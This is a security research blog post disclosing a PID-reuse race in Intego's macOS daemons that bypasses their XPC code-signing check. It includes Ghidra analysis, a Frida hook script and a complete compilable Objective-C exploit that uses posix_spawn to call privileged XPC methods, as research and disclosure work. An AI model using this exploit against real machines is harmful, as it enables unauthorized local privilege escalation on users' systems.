This blog post dives into the most common classes of macOS Local Privilege Escalation vulnerabilities, from time-of-check to time-of-use (TOCTOU) Race Conditions and insecure XPC communications to a range of implementation and configuration oversights. We will explore how attackers can exploit these weaknesses to escalate privileges, and highlight real-world examples to illustrate recurring patterns.


Introduction

Today's post dives into a practical reverse engineering exercise focused on Intego (for macOS). We will first use static analysis with Ghidra to inspect how a privileged process exposes Mach services via XPC, so we know where to look before moving on to observing real runtime behavior.

In the second part we will switch to dynamic analysis with Frida to observe how those Mach services behave under execution and to illustrate a class of Race Condition attacks (PID reuse attack using posix_spawn() semantics). The goal of this article is not to provide exploit recipes, but to demonstrate, from a research perspective, how seemingly small implementation details can expand an attacker's ability to interact with privileged processes over XPC.

Target identification

We will start by enumerating the privileged services configured under /Library/LaunchDaemons/, a system directory where system-wide launchd job property lists (.plist files) register daemons and background services that run with elevated privileges on macOS.

Apple's official documentation describes how launchd and /Library/LaunchDaemons/ are used to install and manage system-wide jobs.

Daemons identification from looking at /Library/LaunchDaemons/

After analyzing the configured daemons we will compare that list against the processes actually running as root on the machine using ps.

Figure 1 - List of binaries supposed to run as root.

Command:

plutil -extract ProgramArguments.0 raw *.plist

Output:

/Library/Intego/integod
/Library/Intego/TaskManager/TaskManagerDaemon
/Library/Intego/ContentBarrier.bundle/Contents/MacOS/ContentBarrier Daemon.app/Contents/MacOS/ContentBarrier Daemon
/Library/Intego/netbarrier.bundle/Contents/MacOS/netbarrierl
/Library/Intego/netbarrier.bundle/Contents/MacOS/netbarrierm
/Library/Intego/netbarrier.bundle/Contents/MacOS/netbarrierd
/Library/Intego/netupdated.bundle/Contents/MacOS/com.intego.netupdated
/Library/Intego/netupdated.bundle/Contents/MacOS/NetUpdate Installer.app/Contents/MacOS/NetUpdate Installer
/Library/Intego/Personal Backup.bundle/Contents/MacOS/Personal Backup Script Scheduler
/Library/Intego/virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/MacOS/virusbarrierl
/Library/Intego/virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/MacOS/virusbarrierd
/Library/Intego/virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/MacOS/virusbarriers
/Library/PrivilegedHelperTools/com.intego.WashingMachine.service.app/Contents/MacOS/com.intego.WashingMachine.service

From the command output, we can extract the paths and represented this in the form of a tree:

- /Library/                                                                               (dir)
    - Intego/                                                                             (dir)
        - integod                                                                         (binary)
        - TaskManager/                                                                    (dir)
            - TaskManagerDaemon                                                           (binary)
        - ContentBarrier.bundle/Contents/MacOS/ContentBarrier Daemon.app/Contents/MacOS/  (dir)
            - ContentBarrier Daemon                                                       (binary)
        - netbarrier.bundle/Contents/MacOS/                                               (dir)
            - netbarrierl                                                                 (binary)
            - netbarrierm                                                                 (binary)
            - netbarrierd                                                                 (binary)
        - netupdated.bundle/Contents/MacOS/                                               (dir)
            - com.intego.netupdated                                                       (binary)
            - NetUpdate Installer.app/Contents/MacOS/                                     (dir)
                - NetUpdate Installer                                                     (binary)
        - Personal Backup.bundle/Contents/MacOS/                                          (dir)
            - Personal Backup Script Scheduler                                            (binary)
        - virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/MacOS/             (dir)
            - virusbarrierl                                                               (binary)
            - virusbarrierd                                                               (binary)
            - virusbarriers                                                               (binary)
    - PrivilegedHelperTools/com.intego.WashingMachine.service.app/Contents/MacOS/         (dir)
        - com.intego.WashingMachine.service                                               (binary)

Analyzing ps output

The command ps -u root | grep -i intego will lists all processes owned by root and pipes the output to grep for the string intego, which quickly shows any Intego related processes running with root privileges. It is a simple way to verify whether Intego services or daemons are active as root (note that grep itself does not appear in the results as run a normal user).

Command:

ps -u root | grep -i intego

Output:

    0   257 ??         0:01.83 /Library/Intego/ContentBarrier.bundle/Contents/MacOS/ContentBarrier Daemon.app/Contents/MacOS/ContentBarrier Daemon
    0   258 ??         0:00.40 /Library/Intego/netupdated.bundle/Contents/MacOS/com.intego.netupdated
    0   259 ??         0:00.01 /Library/PrivilegedHelperTools/com.intego.WashingMachine.service.app/Contents/MacOS/com.intego.WashingMachine.service
    0   260 ??         0:00.36 /Library/Intego/virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/MacOS/virusbarrierd
    0   261 ??         0:01.25 /Library/Intego/netbarrier.bundle/Contents/MacOS/netbarrierd
    0   262 ??         0:01.37 /Library/Intego/netbarrier.bundle/Contents/MacOS/netbarrierm
    0   263 ??         0:00.41 /Library/Intego/Personal Backup.bundle/Contents/MacOS/Personal Backup Script Scheduler
    0   264 ??         0:00.10 /Library/Intego/TaskManager/TaskManagerDaemon
    0   265 ??         0:07.71 /Library/Intego/virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/MacOS/virusbarriers
    0   304 ??         0:03.56 /Library/SystemExtensions/B1BFD21B-5703-49DA-AA35-CB2B1C22CDA1/com.intego.contentbarrier.ContentBarrier-Network-Filter.systemextension/Contents/MacOS/com.intego.contentbarrier.ContentBarrier-Network-Filter
    0   351 ??         0:01.61 /Library/SystemExtensions/3717FA1C-D89C-4C76-A29F-094115BB4113/com.intego.app.netbarrier.firewall.extension.systemextension/Contents/MacOS/com.intego.app.netbarrier.firewall.extension
    0   369 ??         0:00.04 /Library/Intego/virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/MacOS/virusbarrierl
    0   620 ??         0:06.04 /Library/Intego/virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/Frameworks/AVSDK.framework/Versions/A/XPCServices/EndpointSecurityService.xpc/Contents/MacOS/EndpointSecurityService

From the command output, we can extract the paths and represented this in the form of a tree:

- /Library/                                                                                                  (dir)
    - Intego/                                                                                                (dir)
        - ContentBarrier.bundle/Contents/MacOS/ContentBarrier Daemon.app/Contents/MacOS/                     (dir)
            - ContentBarrier Daemon                                                                          (binary)
        - netupdated.bundle/Contents/MacOS/                                                                  (dir)
            - com.intego.netupdated                                                                          (binary)
        - netbarrier.bundle/Contents/MacOS/                                                                  (dir)
            - netbarrierd                                                                                    (binary)
            - netbarrierm                                                                                    (binary)
        - Personal Backup.bundle/Contents/MacOS/                                                             (dir)
            - Personal Backup Script Scheduler                                                               (binary)
        - TaskManager/                                                                                       (dir)
            - TaskManagerDaemon                                                                              (binary)
        - virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/                                      (dir)
            - MacOS/                                                                                         (dir)
                - virusbarrierd                                                                              (binary)
                - virusbarriers                                                                              (binary)
                - virusbarrierl                                                                              (binary)
            - Frameworks/AVSDK.framework/Versions/A/XPCServices/EndpointSecurityService.xpc/Contents/MacOS/  (dir)
                - EndpointSecurityService                                                                    (binary)
    - PrivilegedHelperTools/                                                                                 (dir)
        - com.intego.WashingMachine.service.app/Contents/MacOS/                                              (dir)
            - com.intego.WashingMachine.service                                                              (binary)
    - SystemExtensions/                                                                                      (dir)
        - B1BFD21B-5703-49DA-AA35-CB2B1C22CDA1/                                                              (dir)
            - com.intego.contentbarrier.ContentBarrier-Network-Filter.systemextension/                       (dir)
                - Contents/MacOS/                                                                            (dir)
                    - com.intego.contentbarrier.ContentBarrier-Network-Filter                                (binary)
        - 3717FA1C-D89C-4C76-A29F-094115BB4113/                                                              (dir)
            - com.intego.app.netbarrier.firewall.extension.systemextension/                                  (dir)
                - Contents/MacOS/                                                                            (dir)
                    - com.intego.app.netbarrier.firewall.extension                                           (binary)

Comparison of results

When comparing the two trees, both contain many of the same components. Each tree includes the executables for ContentBarrier.bundle, netbarrier.bundle, netupdated.bundle, Personal Backup.bundle, TaskManager, and virusbarrier.bundle. Additionally, both trees include the com.intego.WashingMachine.service helper tool under the PrivilegedHelperTools directory. However, the first tree contains a few extra components that are not found in the second. Notably, it includes integod, netbarrierl and the NetUpdate Installer application. On the other hand, the second tree includes additional components that do not appear in the first one. Specifically, it features the EndpointSecurityService and two system extensions.

Elements present in both trees (with list of MachServices retrieved from associated property lists files):

- /Library/Intego/ContentBarrier.bundle/Contents/MacOS/ContentBarrier Daemon.app/Contents/MacOS/   (dir)
    - ContentBarrier Daemon                                                                        (binary)
        - MachServices:
            - TCG22P5KE4.com.intego.contentbarrier.XPCDaemonMessagePort
- /Library/Intego/netbarrier.bundle/Contents/MacOS/                                                (dir)
    - netbarrierm                                                                                  (binary)
        - MachServices:
            - com.intego.netbarrier.daemon.monitor.agent
            - TCG22P5KE4.com.intego.app.netbarrier.monitorListener
    - netbarrierd                                                                                  (binary)
        - MachServices:
            - com.intego.netbarrier.daemon.agent
            - com.intego.netbarrier.daemon.alert.checkin
            - TCG22P5KE4.com.intego.app.netbarrier.checkin
            - TCG22P5KE4.com.intego.app.netbarrier.application-firewall
            - TCG22P5KE4.com.intego.app.netbarrier.dnsListener
            - TCG22P5KE4.com.intego.app.netbarrier.statListener
- /Library/Intego/netupdated.bundle/Contents/MacOS/                                                (dir)
    - com.intego.netupdated                                                                        (binary)
        - MachServices:
            - com.intego.netupdate.daemon.agent
- /Library/Intego/Personal Backup.bundle/Contents/MacOS/                                           (dir)
    - Personal Backup Script Scheduler                                                             (binary)
        - MachServices:
            - com.intego.Personal-Backup.daemon
- /Library/Intego/TaskManager/                                                                     (dir)
    - TaskManagerDaemon                                                                            (binary)
        - MachServices:
            - com.intego.commonservices.taskmanager.daemon.agent
- /Library/Intego/virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/MacOS/              (dir)
    - virusbarrierd                                                                                (binary)
        - MachServices:
            - com.intego.virusbarrier.daemon
            - com.intego.virusbarrier.daemon.checkin
            - com.intego.virusbarrier.daemon.consoleManager
    - virusbarriers                                                                                (binary)
        - MachServices:
            - com.intego.virusbarrier.daemon.scanner.management
            - com.intego.virusbarrier.daemon.scanner.on-demand.requests
            - com.intego.virusbarrier.daemon.scanner.on-access.status
            - com.intego.virusbarrier.daemon.scanner.trusted-files
            - com.intego.virusbarrier.daemon.scanner.quarantine
            - com.intego.virusbarrier.daemon.scanner.status
            - com.intego.virusbarrier.daemon.scanner.repair
            - com.intego.virusbarrier.daemon.scanner.iOSDevices
    - virusbarrierl                                                                                (binary)
        - MachServices:
            - com.intego.virusbarrier.daemon.logger
- /Library/PrivilegedHelperTools/com.intego.WashingMachine.service.app/Contents/MacOS/             (dir)
    - com.intego.WashingMachine.service                                                            (binary)
        - MachServices:
            - com.intego.WashingMachine.service

Elements present only in the first tree:

- /Library/Intego/integod
- /Library/Intego/netbarrier.bundle/Contents/MacOS/netbarrierl
- /Library/Intego/netupdated.bundle/Contents/MacOS/NetUpdate Installer.app/Contents/MacOS/NetUpdate Installer

Elements present only in the second tree:

- /Library/Intego/virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/Frameworks/AVSDK.framework/Versions/A/XPCServices/EndpointSecurityService.xpc/Contents/MacOS/EndpointSecurityService
- /Library/SystemExtensions/B1BFD21B-5703-49DA-AA35-CB2B1C22CDA1/com.intego.contentbarrier.ContentBarrier-Network-Filter.systemextension/Contents/MacOS/com.intego.contentbarrier.ContentBarrier-Network-Filter
- /Library/SystemExtensions/3717FA1C-D89C-4C76-A29F-094115BB4113/com.intego.app.netbarrier.firewall.extension.systemextension/Contents/MacOS/com.intego.app.netbarrier.firewall.extension

Reverse engineering of the XPC communication mechanism

Now that the initial analysis is complete, we can move on to the reverse engineering phase using Ghidra. This involves disassembling and decompiling the binaries to examine their inner workings and identify the mechanisms responsible for validating client connections to the XPC service. With the groundwork from the preliminary analysis, Ghidra allows us to explore the binaries behavior in greater depth, setting the stage for the subsequent phases of exploit development.

Reversing virusbarriers (101)

The following step is considered to be a static analysis of binary code.

XPC authentication

The first step in this phase is to locate calls to listener:shouldAcceptNewConnection: the method responsible for handling incoming client connections. By identifying where and how this method is invoked, we can understand how the XPC service validates new connections.

Figure 2 - Filter on method listener:shouldAcceptNewConnection:.

We can therefore identify that method listener:shouldAcceptNewConnection: is implemented by class VBSTrustedFilesController. Before focusing on this method, let's take a look at the start method of this same class.

Figure 3 - VBSTrustedFilesController::start.

The above disassembly and decompilation reveal that the service validates incoming XPC connections for Mach service identified as com.intego.virusbarrier.daemon.scanner.trusted-files.

Let's now examine the connection validation (listener:shouldAcceptNewConnection:).

Figure 4 - Call to VBSMainController::component:shouldAcceptNewConnection:.

Figure 5 - VBSMainController::component:shouldAcceptNewConnection:.

The access control logic for the XPC service is implemented by class NTGCodeSigningVerifier, primarily within the verifyXPCConnection:error: method. In essence, the routine is responsible for deciding whether an incoming XPC client may connect.

The NTGCodeSigningVerifier class and its method verifyXPCConnection:error: are used consistently across all Intego's privileged binaries that expose XPC services. As we will circumvent NTGCodeSigningVerifier::verifyXPCConnection:error: checks, we will effectively broaden access to any privileged Intego process that relies on that verifier for XPC authentication.

Figure 6 - NTGCodeSigningVerifier::verifyXPCConnection:error:.

The method NTGCodeSigningVerifier::_minimumRequirements directly calls method NTGCodeSigningVerifier::_minimumRequirements: as it can be seen below.

Figure 7 - NTGCodeSigningVerifier::_minimumRequirements.

Figure 8 - NTGCodeSigningVerifier::_minimumRequirements:.

Method NTGCodeSigningVerifier::_minimumRequirements: role is to define and initialize the minimum code-signing requirements to interact with the XPC service (using Apple's Security framework via SecRequirementCreateWithString) based on a textual rule:

anchor apple generic
and certificate 1 [field.1.2.840.113635.100.6.2.6] exists
and certificate leaf [field.1.2.840.113635.100.6.1.13] exists
and certificate leaf [subject.OU] = "TCG22P5KE4"

Now let's move on to analyzing the method NTGCodeSigningVerifier::verifyXPCConnection:againstRequirements:error:.

Figure 9 - NTGCodeSigningVerifier::verifyXPCConnection:againstRequirements:error:.

We can determine what function __isPlatformVersionAtLeast() does by reading the code of llvm-project.

URL: https://github.com/llvm/llvm-project/blob/main/clang/lib/CodeGen/CGObjC.cpp#L3997

...

static llvm::Value *emitIsPlatformVersionAtLeast(CodeGenFunction &CGF,
                                                 const VersionTuple &Version) {
  CodeGenModule &CGM = CGF.CGM;
  // Note: we intend to support multi-platform version checks, so reserve
  // the room for a dual platform checking invocation that will be
  // implemented in the future.
  llvm::SmallVector<llvm::Value *, 8> Args;

  auto EmitArgs = [&](const VersionTuple &Version, const llvm::Triple &TT) {
    std::optional<unsigned> Min = Version.getMinor(),
                            SMin = Version.getSubminor();
    Args.push_back(
        llvm::ConstantInt::get(CGM.Int32Ty, getBaseMachOPlatformID(TT)));
    Args.push_back(llvm::ConstantInt::get(CGM.Int32Ty, Version.getMajor()));
    Args.push_back(llvm::ConstantInt::get(CGM.Int32Ty, Min.value_or(0)));
    Args.push_back(llvm::ConstantInt::get(CGM.Int32Ty, SMin.value_or(0)));
  };

  assert(!Version.empty() && "unexpected empty version");
  EmitArgs(Version, CGM.getTarget().getTriple());

  if (!CGM.IsPlatformVersionAtLeastFn) {
    llvm::FunctionType *FTy = llvm::FunctionType::get(
        CGM.Int32Ty, {CGM.Int32Ty, CGM.Int32Ty, CGM.Int32Ty, CGM.Int32Ty},
        false);
    CGM.IsPlatformVersionAtLeastFn =
        CGM.CreateRuntimeFunction(FTy, "__isPlatformVersionAtLeast");
  }

  llvm::Value *Check =
      CGF.EmitNounwindRuntimeCall(CGM.IsPlatformVersionAtLeastFn, Args);
  return CGF.Builder.CreateICmpNE(Check,
                                  llvm::Constant::getNullValue(CGM.Int32Ty));
}

...

The same can also be done for function getBaseMachOPlatformID().

URL: https://github.com/llvm/llvm-project/blob/main/clang/lib/CodeGen/CGObjC.cpp#L3977

...

static unsigned getBaseMachOPlatformID(const llvm::Triple &TT) {
  switch (TT.getOS()) {
  case llvm::Triple::Darwin:
  case llvm::Triple::MacOSX:
    return llvm::MachO::PLATFORM_MACOS;
  case llvm::Triple::IOS:
    return llvm::MachO::PLATFORM_IOS;
  case llvm::Triple::TvOS:
    return llvm::MachO::PLATFORM_TVOS;
  case llvm::Triple::WatchOS:
    return llvm::MachO::PLATFORM_WATCHOS;
  case llvm::Triple::XROS:
    return llvm::MachO::PLATFORM_XROS;
  case llvm::Triple::DriverKit:
    return llvm::MachO::PLATFORM_DRIVERKIT;
  default:
    return llvm::MachO::PLATFORM_UNKNOWN;
  }
}

...

The method NTGCodeSigningVerifier::_minimumRequirements: defines the signature requirements, while NTGCodeSigningVerifier::verifyXPCConnection:againstRequirements:error: applies these requirements to each client attempting an XPC connection. This ensures that the incoming connection originates from a trusted, properly signed process (by verifying its digital signature against the specified requirements, with checks depending on the macOS version).

Let's take a closer look at how it works internally by inspecting NTGCodeSigningVerifier::copySecCodeForXPCConnection: since it seems to be one of the method that is called first.

Figure 10 - NTGCodeSigningVerifier::copySecCodeForXPCConnection:.

Error message implying that the PID is used to check the validity of the authentication:

  • Warning - Code Signing Verification - Use process identifier to check XPC connection : %d
  • Code Signing Verification - Unable to identify guest for pid (%d) using audit token, try pid: %d
  • Code Signing Verification - Unable to identify guest for pid (%d) : %d

From an attacker's perspective, PID reuse on macOS can be leveraged using posix_spawn(). Because the verification relies on the PID to validate a process's identity, we could deliberately spawn a trusted process with a recycled PID, effectively circumventing the code-signing checks.

Now that we know it is possible to bypass XPC authentication using the PID reuse technique, we are interested in which methods are exposed by the XPC service.

Retrieve the exposed methods

When using XPC services through the Cocoa frameworks, macOS exposes service functionality in a structured way using NSXPCInterface and Objective-C protocols. This design transforms low level Mach message exchanges into high level remote method invocations. An NSXPCInterface represents the contract between a client and its XPC service. It describes which methods are available, what argument and return types they accept, and which classes can be transmitted across the process boundary.

A protocol refers to an Objective-C protocol_t runtime structure that encodes a protocol's metadata (name, protocols, method_list_t, etc.). When the service or client sets up its connection, the XPC runtime queries this protocol definition to determine which selectors can legally cross the boundary.

Internally, a protocol_t object is part of the Objective-C runtime metadata, represented in the compiled binary's __objc_const section. Each protocol holds arrays of method descriptions (method_list_t), along with references to inherited protocols. During runtime, NSXPCInterface leverages this metadata to dynamically construct the communication schema, effectively mapping Objective-C selectors to XPC message identifiers and encoding their arguments and return values.

The protocols defined and exposed by a service can be discovered by locating calls to the method interfaceWithProtocol:.

The method interfaceWithProtocol: is a method of NSXPCInterface that creates and returns a new interface object describing the methods, arguments, and types defined in a given Objective-C protocol. It converts a protocol declaration (@protocol in Objective-C) into a runtime communication schema that the XPC system can use to serialize and dispatch remote method calls between processes.

Figure 11 - Method interfaceWithProtocol: called.

Let's look at what SLScannerServerTrustedFileInterface exposes.

Structure of objc_protocol_t:

struct objc_protocol_t
{
    void* isa;
    char* mangledName;
    struct objc_protocol_list_t* protocols;
    struct objc_method_list_t* instanceMethods;
    struct objc_method_list_t* classMethods;
    struct objc_method_list_t* optionalInstanceMethods;
    struct objc_method_list_t* optionalClassMethods;
    void* instanceProperties;
    uint32_t size;
    uint32_t flags;
};

Figure 12 - SLScannerServerTrustedFileInterface (view from Ghidra).

Figure 13 - SLScannerServerTrustedFileInterface (view from Binary Ninja).

Structure of objc_method_list_t:

struct objc_method_list_t
{
    uint32_t obsolete;
    uint32_t count;
};

Structure of objc_method_t:

struct objc_method_t
{
    char* name;
    char* types;
    void* imp;
};

Let's take a look at the methods.

Figure 14 - List of exposed methods.

Exposed methods for binary virusbarriers

We therefore chose to represent all the exposed methods of this binary in a graph form.

Figure 14 - List of exposed methods for binary virusbarriers.

The methods exposed by the other binaries are provided in the appendix.

Once the methods have been enumerated (via protocol_t and NSXPCInterface analysis), observation and prototyping can be dramatically simplified through the use of dynamic instrumentation frameworks such as Frida. Objective-C selectors can be hooked, XPC messages can be intercepted (and inspected), and arguments (or replies) can be modified at runtime, which results in faster debugging in the development of proofs of concept.

It should be noted that Frida's ability to be injected into processes or to bypass certain runtime protections is limited on a default macOS installation. Unlocking its full capabilities commonly requires System Integrity Protection (SIP) to be disabled.

Dynamic debugging with Frida and PID reuse attack

JavaScript will be injected using Frida to hook Objective-C selectors in a binary exposing XPC service. This step could be performed on a VM with SIP disabled.

We will start by using Frida on the targeted binary.

Figure 15 - Launch of Frida.

In Frida (on macOS), the ObjC.available; expression checks whether the Objective-C runtime is currently loaded and accessible in the targeted process.

Figure 16 - Checking access to the runtime.

Once we have identified that the runtime is accessible, we can begin listing the classes using Object.keys(ObjC.classes);.

Figure 17 - Class listing.

It is possible to filter the classes we want to list using the function filter() (Array.prototype.filter()).

Object.keys(ObjC.classes).filter(c=>c.indexOf("VBS") != -1 );

Figure 18 - Listing classes using string VBS as a filter.

Once a class has been identified, its methods can be listed using the command below.

ObjC.classes["<METHOD_NAME>"].$methods;

Figure 19 - Listing class VBProcessesUtilities's methods.

Hooking some methods

Now we will install hooks to observe runtime behavior without modifying the binary. We will set them on:

  • Method + pathForProcessIdentifier: from class VBProcessesUtilities
  • Method + verifyXPCConnection:error: from class NTGCodeSigningVerifier
  • Method - getTrustedFiles: from class VBSTrustedFilesController

Below is what the hook file (hook.js) looks like:

// We verify that the object associated with the Objective-C runtime is
// accessible.
if (!ObjC.available) {
    console.log("[x] Objective-C runtime not available.");
    throw "ObjC not available";
} else {
    console.log("[*] Objective-C runtime available.");
}

// List of hooks to install.
var hooks = [
    {
        className: "VBProcessesUtilities",
        selector: "+ pathForProcessIdentifier:",
        onEnter: function (args) {
            var dbgMsgPrefix = "[VBProcessesUtilities][+ pathForProcessIdentifier:][onEnter] ";
            try {
                var selfObj = new ObjC.Object(args[0]);
                var selObj = ObjC.selectorAsString(args[1]);

                var param = args[2];
                if (param.isNull()) {
                    console.log(dbgMsgPrefix + "[!] args[2] = NULL");
                }
                var pid = param.toInt32();

                console.log(dbgMsgPrefix + "Method called");
                console.log(dbgMsgPrefix + "self: " + selfObj.$className + " (" + args[0] + ")");
                console.log(dbgMsgPrefix + "selector: " + selObj);
                console.log(dbgMsgPrefix + "args[2] (pid): " + pid);
            } catch (e) {
                console.log(dbgMsgPrefix + "[x] Error:" + e);
            }
        },
        onLeave: function (retval) {
            var dbgMsgPrefix = "[VBProcessesUtilities][+ pathForProcessIdentifier:][onLeave] ";
            try {
                console.log(dbgMsgPrefix + "Returned -> " + retval);
                var retObj = new ObjC.Object(retval);
                if (retObj.$className.indexOf("String") !== -1) {
                    console.log(dbgMsgPrefix + "NSString value:", retObj.toString());
                } 
            } catch (e) {
            }
        }
    },
    {
        className: "NTGCodeSigningVerifier",
        selector: "+ verifyXPCConnection:error:",
        onEnter: function (args) {
            var dbgMsgPrefix = "[NTGCodeSigningVerifier][+ verifyXPCConnection:error:][onEnter] ";
            try {
                var selfObj = new ObjC.Object(args[0]);
                var selObj = ObjC.selectorAsString(args[1]);

                console.log(dbgMsgPrefix + "Method called.");
                console.log(dbgMsgPrefix + "self: " + selfObj.$className + " (" + args[0] + ")");
                console.log(dbgMsgPrefix + "selector: " + selObj);
            } catch (e) {
                console.log(dbgMsgPrefix + "[x] Error:" + e);
            }
        },
        onLeave: function (retval) {
            var dbgMsgPrefix = "[NTGCodeSigningVerifier][+ verifyXPCConnection:error:][onLeave] ";
            try {
                console.log(dbgMsgPrefix + "Returned -> " + retval);
            } catch (e) {}
        }
    },
    {
        className: "VBSTrustedFilesController",
        selector: "- getTrustedFiles:",
        onEnter: function (args) {
            var dbgMsgPrefix = "[VBSTrustedFilesController][- getTrustedFiles:][onEnter] ";
            try {
                var selfObj = new ObjC.Object(args[0]);
                var selObj = ObjC.selectorAsString(args[1]);

                console.log(dbgMsgPrefix + "Method called.");
                console.log(dbgMsgPrefix + "self: " + selfObj.$className + " (" + args[0] + ")");
                console.log(dbgMsgPrefix + "selector: " + selObj);
            } catch (e) {
                console.log(dbgMsgPrefix + "[x] Error:" + e);
            }
        },
        onLeave: function (retval) {
            var dbgMsgPrefix = "[VBSTrustedFilesController][- getTrustedFiles:][onLeave] ";
            try {
                console.log(dbgMsgPrefix + "Returned -> " + retval);
            } catch (e) {}
        }
    }
];

hooks.forEach(function(h) {
    var O = ObjC.classes[h.className];
    if (!O) {
        console.log("[x] Class not found: " + h.className);
        throw "Classe not found";
    } else {
        console.log("[+] Class found: `" + h.className + "`");
    }
    var method = O[h.selector]

    if (!method) {
        console.log("[x] Method not found.");
        console.log("[*] Listing known methods:");
        try {
            console.log("\t" + O.$methods.join("\n"));
        } catch(e) {
        }
        throw "Method not found";
    }
    console.log("[+] Method found: `" + method + "`");

    console.log("[*] Hooking class `" + h.className + "` method `" + h.selector + "` ...");

    Interceptor.attach(method.implementation, {
        onEnter: h.onEnter,
        onLeave: h.onLeave
    });
});

After loading the hook script with Frida, we can see that accessing the Trusted Files (Fichiers de confiance) tab in the GUI correctly triggers the hooked method (getTrustedFiles:).

Figure 20 - Normal triggering of method - getTrustedFiles:.

PID reuse attack (signature check bypass)

We will now show that the same method can be triggered remotely from our exploit (using a PID-reuse attack to validate the signature check by calling posix_spawn()).

Below is the content of the exploit file (exploit.m):

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <signal.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>


// Number of racers (child processes that will send the XPC message and then
// call `posix_spawn()`).
static const int kRaceCount = 2;
// Path of the binary (invoked) validating the signature check.
static const char kValidPath[] = "/Library/Intego/virusbarrier.bundle/Contents/MacOS/VirusBarrier.app/Contents/MacOS/VirusBarrier";
// Targeted Mach service.
static NSString * const kMachServiceName = @"com.intego.virusbarrier.daemon.scanner.trusted-files";

// Signature of the remote function to be called.
@protocol SLScannerServerTrustedFileInterface
- (void)getTrustedFiles:(void (^)(NSArray *trustedFiles))completion;
@end


int main(void) {
    extern char **environ;
    int pids[kRaceCount];

    // We will `fork()` as many times we need to win the race.
    for (int i = 0; i < kRaceCount; i++) {
        pid_t pid = fork();
        // Unable to `fork()` or `fork()` failed.
        if (pid < 0) {
            fprintf(stderr, "[!] `fork()` failed at iteration %d: %s\n", i, strerror(errno));
            pids[i] = -1;
            continue;
        }

        // Child process.
        if (pid == 0) {
            // Create the XPC connection to the Mach service.
            NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:kMachServiceName options:0];

            connection.interruptionHandler = ^{
                NSLog(@"[x] Connection to daemon was interrupted.");
            };

            connection.invalidationHandler = ^{
                NSLog(@"[x] Connection to daemon was invalidated.");
            };

            // Associate the protocol.
            connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SLScannerServerTrustedFileInterface)];
            [connection resume];

            // Remote method call.
            id<SLScannerServerTrustedFileInterface> proxy = [connection remoteObjectProxyWithErrorHandler:^(NSError * _Nonnull error) {
                NSLog(@"[x] Remote proxy error: %@", error);
            }];
            [proxy getTrustedFiles:^(NSArray *trustedFiles) {
                NSLog(@"[+] Trusted files received: %@", trustedFiles);
            }];

            // We invalidate the connection to directly spawn the binary
            // validating the signature.
            [connection invalidate];

            NSLog(@"[*] Done (child: about to spawn target binary).");

            // Prepare arguments for `posix_spawn()`.
            const char *target_binary = kValidPath;
            char *const target_argv[] = { (char *const)target_binary, NULL };
            short flags = 0;
            posix_spawnattr_t attr;

            // Setting up the environment and arguments for `posix_spawn()`.
            if (posix_spawnattr_init(&attr) != 0) {
                fprintf(stderr, "[!] posix_spawnattr_init failed: %s\n", strerror(errno));
            } else {
                if (posix_spawnattr_getflags(&attr, &flags) != 0) {
                    fprintf(stderr, "[!] posix_spawnattr_getflags failed: %s\n", strerror(errno));
                } else {
                    flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
                    if (posix_spawnattr_setflags(&attr, flags) != 0) {
                        fprintf(stderr, "[!] posix_spawnattr_setflags failed: %s\n", strerror(errno));
                    }
                }
            }

            // Triggering `posix_spawn()`.
            pid_t spawnedPid = -1;
            int spawnErr = posix_spawn(&spawnedPid, target_binary, NULL, &attr, target_argv, environ);
            if (spawnErr != 0) {
                fprintf(stderr, "[x] posix_spawn failed: %s\n", strerror(spawnErr));
            } else {
                NSLog(@"[*] posix_spawn returned pid: %d", spawnedPid);
            }

            // Clean up spawn attributes.
            posix_spawnattr_destroy(&attr);

            // In the child process we exit after finishing the work
            // so we do not continue the parent's `fork()` loop.
            // Using `_exit()` to avoid invoking Objective-C cleanup twice.
            _exit(EXIT_SUCCESS);
        }

        // Parent process continues here.
        printf("[*] Forked child pid: %d (iteration %d)\n", (int)pid, i);
        pids[i] = pid;
    }

    // Give children some time to win the race.
    sleep(10);

    // Terminate children created by the parent.
    for (int i = 0; i < kRaceCount; i++) {
        if (pids[i] > 0) {
            if (kill(pids[i], SIGKILL) != 0) {
                fprintf(stderr, "[x] kill(%d) failed: %s\n", pids[i], strerror(errno));
            } else {
                printf("[*] Killed pid %d\n", pids[i]);
            }
        }
    }

    return 0;
}

// Compilation of the exploit:
// `clang -framework Foundation -o exploit exploit.m`

Figure 21 - Method - getTrustedFiles: triggered remotely by our exploit.

Conclusion

The analysis shows how a recurring design mistake in macOS privileged components (treating a process identifier as a stable security attribute) can collapse an otherwise reasonable XPC trust model.

Using a PID as an authorization primitive in macOS XPC is unsafe because PIDs are ephemeral and can be reused. By mapping Intego’s root daemons under /Library/LaunchDaemons/ to their Mach services and reversing the client-verification routine NTGCodeSigningVerifier::verifyXPCConnection:error:, an attacker can then race process creation to reclaim a trusted PID and call privileged XPC methods, turning Privileged Helpers into Local Privilege Escalation paths.

The core lesson is that XPC access control must be bound to non-reusable identities (for example, audit tokens and validated code-signing identities) rather than process IDs.

Disclosure Timeline

Below we include a timeline of all the relevant events during the coordinated vulnerability disclosure process with the intent of providing transparency to the whole process and our actions.

  • 2025-11-06: Quarkslab sent mail to dpo@intego.com and asked for a security point of contact to report vulnerabilities.
  • 2025-12-08: Quarkslab sent mail to info@intego.com and asked for a security point of contact to report vulnerabilities.
  • 2025-12-16: Quarkslab sent the vulnerability report to CERT-FR and indicated it had not been able to contact the vendor and that the disclosure date was set to December 30th, 2025.
